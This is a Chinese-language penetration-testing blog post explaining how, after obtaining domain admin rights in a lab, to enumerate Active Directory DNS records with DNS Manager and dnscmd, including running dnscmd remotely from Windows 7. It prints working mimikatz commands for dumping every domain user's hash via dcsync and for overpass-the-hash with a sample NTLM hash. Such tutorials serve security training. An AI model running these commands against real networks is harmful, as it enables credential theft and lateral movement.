域渗透——DNS记录的获取

0x00 前言


在域渗透中,对域环境的信息搜集很关键,如果我们获得了域内管理员的权限,那么如何能够快速了解域内的网络架构呢?DNS记录无疑是一个很好的参考。

本文将要介绍在域渗透中,获得DNS管理员权限后,获取DNS记录的方法

0x01 简介


本文将要介绍以下内容:

  • 通过DNS Manager获取DNS记录
  • 通过dnscmd获取DNS记录
  • 域内远程读取DNS记录的方法

0x02 通过DNS Manager获取DNS记录


测试系统:

Windows Server 2008 R2 x64

选择Administrative Tools -> DNS

Forward Lookup Zones下找到当前域名,能够显示当前域内的DNS记录,包括主机名和对应的IP

如下图

Alt text

0x03 通过dnscmd获取DNS记录


dnscmd:

用来管理DNS服务器的命令行接口,支持远程连接

默认安装的系统:

  • Windows Server 2003
  • Windows Server 2008
  • Windows Server 2003 R2
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2003 with SP1

参考资料:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772069(v=ws.11)

Win7系统在使用时需要安装Remote Server Administration Tools (RSAT)

参考地址:

https://support.microsoft.com/en-us/help/2693643/remote-server-administration-tools-rsat-for-windows-operating-systems

RSAT下载地址:

https://www.microsoft.com/en-us/download/details.aspx?id=7887

测试系统:

Windows Server 2008 R2 x64

常用命令:

(1)列出DNS区域中当前节点的资源记录:

Dnscmd . /EnumZones

如下图

Alt text

(2)列出test.com的信息:

Dnscmd . /ZoneInfo test.com

如下图

Alt text

(3)列举test.com中的记录,方法1(更详细):

Dnscmd . /ZonePrint test.com

如下图

Alt text

(4)列举testc.com的记录,方法2:

Dnscmd . /EnumRecords test.com .

如下图

Alt text

结果同DNS Manager获取的记录一致

0x04 域内远程读取DNS记录的方法


方法分析

前提需要获得域管理员的权限

第一种方法是先远程连接域控制器,然后在域控制器上执行dnscmd获取DNS记录

第二种方法是在域内一台主机上面,执行dnscmd远程读取DNS记录

但是Win7系统默认不支持dnscmd,直接安装Remote Server Administration Tools (RSAT)也不现实

于是,我尝试寻找在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd的方法

方法测试

向未安装Remote Server Administration Tools (RSAT)的Win7系统上复制一个dnscmd.exe,直接执行,结果失败

解决方法

通过Process Monitor记录dnscmd的执行过程,查看缺少哪些文件

如下图

Alt text

发现缺少文件dnscmd.exe.mui

补全缺少的文件,再次测试,最终找到解决方法

在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd,需要满足以下条件:

  1. dnscmd保存在路径C:\Windows\System32
  2. dnscmd.exe.mui保存在C:\Windows\System32\en-US下(该位置比较通用,也可以在其他位置)

注:

dnscmd和dnscmd.exe.mui使用Windows Server 2008 R2下的即可

这里提供一个测试文件(我从Windows Server 2008 R2下获得的):

https://github.com/3gstudent/test/blob/master/dnscmd.exe

https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui

注:

仅供测试

由于dnscmd在远程连接时,未提供输入用户名和口令的接口,这里需要借助mimikatz的Overpass-the-hash

首先需要获得域管理员用户的hash,这里只能用ntlm/rc4/aes128/aes256

如果获得了域管理员用户的明文口令,可以先将明文转为ntlm,在线加密的网站:

https://md5decrypt.net/en/Ntlm/

补充:使用dcsync获得域内所有用户hash的方法

域控制器上执行mimikatz:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.local /all /csv exit"

实际测试

测试环境的参数如下:

  • 域管理员用户:Administrator
  • 口令:DomainAdmin456!
  • hash:A55E0720F0041193632A58E007624B40

Overpass-the-hash:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40"

这样会弹出一个cmd.exe

接着使用dnscmd远程连接进行查询:

Dnscmd WIN-F08C969D7FM.test.com /EnumZones

or

Dnscmd WIN-F08C969D7FM /EnumZones

注:

这里要使用FQDN或者计算机名

如下图

Alt text

如果想在命令行下实现整个流程,可以采用如下方法:

新建c:\test\1.bat,内容如下:

Dnscmd WIN-F08C969D7FM.test.com /EnumZones > c:\test\out.txt

Overpass-the-hash:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40 /run:\"cmd.exe /c c:\test\1.bat\""

注:

cmd.exe下"需要使用转义字符\"

0x05 小结


本文介绍了在域内使用Overpass-the-hash实现dnscmd远程读取DNS记录的方法


LEAVE A REPLY

Written on February 22, 2019